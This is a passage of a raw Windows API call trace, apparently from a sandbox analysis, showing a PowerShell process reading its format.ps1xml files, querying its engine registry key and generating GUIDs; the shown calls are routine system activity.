lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.614] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.615] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.615] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.615] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.616] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.616] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.618] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.618] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0xbce, lpOverlapped=0x0) returned 1 [0083.619] ReadFile (in: hFile=0x304, lpBuffer=0x345d8fe, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345d8fe*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.619] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.619] CloseHandle (hObject=0x304) returned 1 [0083.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.619] SetErrorMode (uMode=0x1) returned 0x1 [0083.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d040 | out: lpFileInformation=0x24d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0083.619] SetErrorMode (uMode=0x1) returned 0x1 [0083.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.620] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x304) returned 0x0 [0083.620] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.620] CoTaskMemAlloc (cb=0x5a) returned 0x1b0340 [0083.620] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b0340, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.620] CoTaskMemFree (pv=0x1b0340) [0083.620] RegCloseKey (hKey=0x304) returned 0x0 [0083.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.672] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x3d615f54, Data2=0x411c, Data3=0x496d, Data4=([0]=0xa6, [1]=0xeb, [2]=0x22, [3]=0x5, [4]=0x39, [5]=0xc5, [6]=0x13, [7]=0xf9))) returned 0x0 [0083.674] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf0c2b24, Data2=0xb67a, Data3=0x41e3, Data4=([0]=0x8d, [1]=0x4c, [2]=0xde, [3]=0xde, [4]=0xb8, [5]=0x84, [6]=0x74, [7]=0x98))) returned 0x0 [0083.675] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x27942c16, Data2=0xe99, Data3=0x4f12, Data4=([0]=0xa7, [1]=0x63, [2]=0xbb, [3]=0xf9, [4]=0x53, [5]=0xa9, [6]=0xfb, [7]=0x39))) returned 0x0 [0083.675] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xd182cf95, Data2=0xdeab, Data3=0x4cb1, Data4=([0]=0x9b, [1]=0x46, [2]=0xca, [3]=0x12, [4]=0xb5, [5]=0xff, [6]=0x56, [7]=0xd3))) returned 0x0 [0083.676] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x52b3771, Data2=0xa6e5, Data3=0x42af, Data4=([0]=0x9d, [1]=0xbb, [2]=0xbe, [3]=0x52, [4]=0xbb, [5]=0x54, [6]=0x86, [7]=0xe9))) returned 0x0 [0083.677] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x86fff9ce, Data2=0xa0d3, Data3=0x40a1, Data4=([0]=0xb9, [1]=0xff, [2]=0xbe, [3]=0xf9, [4]=0xde, [5]=0x0, [6]=0x79, [7]=0xcc))) returned 0x0 [0083.678] VirtualQuery (in: lpAddress=0x24bd00, lpBuffer=0x24cbc0, dwLength=0x30 | out: lpBuffer=0x24cbc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.679] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x65dbba0, Data2=0x5417, Data3=0x4313, Data4=([0]=0xbc, [1]=0x7d, [2]=0xa1, [3]=0xe7, [4]=0xa8, [5]=0x5b, [6]=0xf7, [7]=0x39))) returned 0x0 [0083.680] VirtualQuery (in: lpAddress=0x24bd00, lpBuffer=0x24cbc0, dwLength=0x30 | out: lpBuffer=0x24cbc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.681] VirtualQuery (in: lpAddress=0x24bd00, lpBuffer=0x24cbc0, dwLength=0x30 | out: lpBuffer=0x24cbc0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.683] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xdb5129e3, Data2=0xc4d9, Data3=0x40f3, Data4=([0]=0x92, [1]=0x63, [2]=0xaf, [3]=0x88, [4]=0x8e, [5]=0x79, [6]=0x22, [7]=0xbc))) returned 0x0 [0083.683] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x9dab801a, Data2=0xf5c5, Data3=0x4dad, Data4=([0]=0x87, [1]=0xcd, [2]=0xa5, [3]=0x7f, [4]=0xa5, [5]=0x3c, [6]=0x2f, [7]=0x33))) returned 0x0 [0083.683] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xc5e2806f, Data2=0x12fd, Data3=0x488f, Data4=([0]=0xb1, [1]=0x2f, [2]=0x11, [3]=0x1e, [4]=0x29, [5]=0x1c, [6]=0xad, [7]=0xaa))) returned 0x0 [0083.684] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x194a0c43, Data2=0x94f1, Data3=0x4d3b, Data4=([0]=0xaf, [1]=0xc4, [2]=0x54, [3]=0xd, [4]=0xbd, [5]=0xb9, [6]=0xf, [7]=0x65))) returned 0x0 [0083.685] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x7bd1895d, Data2=0xac36, Data3=0x47f9, Data4=([0]=0x91, [1]=0x91, [2]=0x2a, [3]=0xc2, [4]=0x48, [5]=0xb7, [6]=0xcd, [7]=0x62))) returned 0x0 [0083.689] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x5966b1f4, Data2=0x14cb, Data3=0x4f0d, Data4=([0]=0xb6, [1]=0xe6, [2]=0x54, [3]=0xb2, [4]=0xd5, [5]=0xe0, [6]=0xf7, [7]=0xbe))) returned 0x0 [0083.689] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x378ae961, Data2=0x996, Data3=0x4f37, Data4=([0]=0x82, [1]=0xbf, [2]=0x99, [3]=0x97, [4]=0x7b, [5]=0x50, [6]=0x99, [7]=0x13))) returned 0x0 [0083.689] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x280492ed, Data2=0xb8f7, Data3=0x462c, Data4=([0]=0x9c, [1]=0xe7, [2]=0xfb, [3]=0xdd, [4]=0xe8, [5]=0x6c, [6]=0xc9, [7]=0x1a))) returned 0x0 [0083.690] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf0083984, Data2=0x1649, Data3=0x430d, Data4=([0]=0x8d, [1]=0xa1, [2]=0xae, [3]=0x37, [4]=0xa6, [5]=0x98, [6]=0x51, [7]=0xf1))) returned 0x0 [0083.690] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xafa8bf23, Data2=0xa799, Data3=0x4752, Data4=([0]=0xaf, [1]=0x12, [2]=0xb9, [3]=0x44, [4]=0x9b, [5]=0x5a, [6]=0x8c, [7]=0x14))) returned 0x0 [0083.691] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xbe57e2f6, Data2=0xb1c4, Data3=0x457a, Data4=([0]=0xa6, [1]=0x5a, [2]=0x78, [3]=0x3d, [4]=0x14, [5]=0x6a, [6]=0x56, [7]=0x59))) returned 0x0 [0083.691] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1b16f0a7, Data2=0xc357, Data3=0x462c, Data4=([0]=0x92, [1]=0x7a, [2]=0xc7, [3]=0x4f, [4]=0xfa, [5]=0x8a, [6]=0xbe, [7]=0x36))) returned 0x0 [0083.692] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x82d0aba5, Data2=0xd9c6, Data3=0x4471, Data4=([0]=0x8c, [1]=0xaa, [2]=0x24, [3]=0xa2, [4]=0x1d, [5]=0xea, [6]=0xa8, [7]=0x3c))) returned 0x0 [0083.692] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x7b1ef161, Data2=0x97d0, Data3=0x4f8c, Data4=([0]=0xbd, [1]=0xa6, [2]=0x72, [3]=0xf3, [4]=0xeb, [5]=0x83, [6]=0x9e, [7]=0xe5))) returned 0x0 [0083.693] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x624abd81, Data2=0xbe64, Data3=0x4dce, Data4=([0]=0xb8, [1]=0x14, [2]=0xd0, [3]=0x25, [4]=0x7d, [5]=0x9d, [6]=0xa9, [7]=0x38))) returned 0x0 [0083.693] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x9ccbb87e, Data2=0xfead, Data3=0x4e43, Data4=([0]=0x8f, [1]=0xaf, [2]=0xf3, [3]=0x74, [4]=0xe0, [5]=0xc6, [6]=0x31, [7]=0xa0))) returned 0x0 [0083.694] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1c0ed730, Data2=0xec2c, Data3=0x4033, Data4=([0]=0x95, [1]=0xfa, [2]=0xc1, [3]=0xaf, [4]=0xaf, [5]=0xf7, [6]=0xf2, [7]=0x9f))) returned 0x0 [0083.694] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x57464176, Data2=0xd546, Data3=0x4d11, Data4=([0]=0xaa, [1]=0xb2, [2]=0x22, [3]=0xd2, [4]=0x6e, [5]=0x20, [6]=0x4d, [7]=0x2d))) returned 0x0 [0083.694] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xffee3604, Data2=0xd91d, Data3=0x4472, Data4=([0]=0xb2, [1]=0x61, [2]=0x88, [3]=0x77, [4]=0xad, [5]=0x28, [6]=0x3c, [7]=0x2d))) returned 0x0 [0083.695] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x35f8754b, Data2=0xcc6b, Data3=0x48ee, Data4=([0]=0x89, [1]=0x2c, [2]=0x28, [3]=0xeb, [4]=0xa0, [5]=0x85, [6]=0x8e, [7]=0xb0))) returned 0x0 [0083.695] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x440834b, Data2=0xe22b, Data3=0x48fe, Data4=([0]=0xa4, [1]=0xd3, [2]=0xa8, [3]=0xdf, [4]=0x85, [5]=0x28, [6]=0x21, [7]=0xdd))) returned 0x0 [0083.696] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x302f10e9, Data2=0x5e22, Data3=0x4a2b, Data4=([0]=0xa8, [1]=0xce, [2]=0x90, [3]=0xc9, [4]=0x83, [5]=0xd6, [6]=0xc8, [7]=0xf0))) returned 0x0 [0083.696] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xe6b46a61, Data2=0x4b4b, Data3=0x4a85, Data4=([0]=0xa4, [1]=0xbe, [2]=0xc4, [3]=0x1c, [4]=0xed, [5]=0x8d, [6]=0xe8, [7]=0xbd))) returned 0x0 [0083.696] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xd46e7add, Data2=0xaaeb, Data3=0x4514, Data4=([0]=0x81, [1]=0x6e, [2]=0x4a, [3]=0xba, [4]=0x1b, [5]=0xdf, [6]=0x1b, [7]=0xb4))) returned 0x0 [0083.697] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x9d29f01c, Data2=0x2b8b, Data3=0x43f6, Data4=([0]=0x89, [1]=0xd1, [2]=0x4e, [3]=0x31, [4]=0x59, [5]=0x2b, [6]=0xad, [7]=0x94))) returned 0x0 [0083.697] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x6e212832, Data2=0x585f, Data3=0x4a40, Data4=([0]=0x81, [1]=0xf5, [2]=0x37, [3]=0xea, [4]=0xf, [5]=0x1b, [6]=0xfb, [7]=0xd2))) returned 0x0 [0083.698] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x2186773a, Data2=0x1dd3, Data3=0x43e9, Data4=([0]=0x98, [1]=0xa8, [2]=0xb3, [3]=0x7e, [4]=0xf7, [5]=0xcc, [6]=0x47, [7]=0x4d))) returned 0x0 [0083.698] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x7ef03855, Data2=0x40b2, Data3=0x4b1d, Data4=([0]=0xb1, [1]=0x6, [2]=0x93, [3]=0xdb, [4]=0x32, [5]=0x8e, [6]=0x8d, [7]=0xbe))) returned 0x0 [0083.699] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4df47aac, Data2=0x70f1, Data3=0x463e, Data4=([0]=0x80, [1]=0xd6, [2]=0x99, [3]=0x40, [4]=0xe5, [5]=0x4f, [6]=0x81, [7]=0x4))) returned 0x0 [0083.709] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xe4d855f, Data2=0xb034, Data3=0x4266, Data4=([0]=0x9c, [1]=0xe6, [2]=0x20, [3]=0x2e, [4]=0x4d, [5]=0x13, [6]=0xef, [7]=0xae))) returned 0x0 [0083.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0083.709] SetErrorMode (uMode=0x1) returned 0x1 [0083.710] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0083.710] GetFileType (hFile=0x32c) returned 0x1 [0083.710] SetErrorMode (uMode=0x1) returned 0x1 [0083.710] GetFileType (hFile=0x32c) returned 0x1 [0083.710] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.713] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.714] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.714] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.715] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.716] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.716] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x119, lpOverlapped=0x0) returned 1 [0083.716] ReadFile (in: hFile=0x32c, lpBuffer=0x356ec70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x356ec70*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.716] CloseHandle (hObject=0x32c) returned 1 [0083.716] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0083.717] SetErrorMode (uMode=0x1) returned 0x1 [0083.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d040 | out: lpFileInformation=0x24d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0083.717] SetErrorMode (uMode=0x1) returned 0x1 [0083.717] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0083.717] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x32c) returned 0x0 [0083.717] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.717] CoTaskMemAlloc (cb=0x5a) returned 0x1b759550 [0083.717] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b759550, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.718] CoTaskMemFree (pv=0x1b759550) [0083.718] RegCloseKey (hKey=0x32c) returned 0x0 [0083.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0083.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0083.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.722] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x25116a8, Data2=0x15d0, Data3=0x481a, Data4=([0]=0xae, [1]=0xed, [2]=0x1b, [3]=0x4c, [4]=0xf1, [5]=0x3d, [6]=0x24, [7]=0x15))) returned 0x0 [0083.723] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x46e9696, Data2=0xc69a, Data3=0x4a5f, Data4=([0]=0x99, [1]=0x38, [2]=0x27, [3]=0x1e, [4]=0xe3, [5]=0x52, [6]=0x5b, [7]=0xd2))) returned 0x0 [0083.723] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xa585dc4a, Data2=0x1a01, Data3=0x4476, Data4=([0]=0xa8, [1]=0xca, [2]=0x9f, [3]=0xce, [4]=0xb8, [5]=0x3e, [6]=0xf3, [7]=0xa8))) returned 0x0 [0083.723] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x27ef2a0d, Data2=0x17a5, Data3=0x4e4c, Data4=([0]=0xb8, [1]=0x6f, [2]=0xba, [3]=0xc, [4]=0xd3, [5]=0xdb, [6]=0x45, [7]=0x67))) returned 0x0 [0083.724] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0083.724] SetErrorMode (uMode=0x1) returned 0x1 [0083.724] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0083.724] GetFileType (hFile=0x32c) returned 0x1 [0083.724] SetErrorMode (uMode=0x1) returned 0x1 [0083.724] GetFileType (hFile=0x32c) returned 0x1 [0083.724] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.730] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.740] ReadFile (in: hFile=0x32c, lpBuffer=0x35cae10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x35cae10*, lpNumberOfBytesRead=0x24d098*=0x1000, 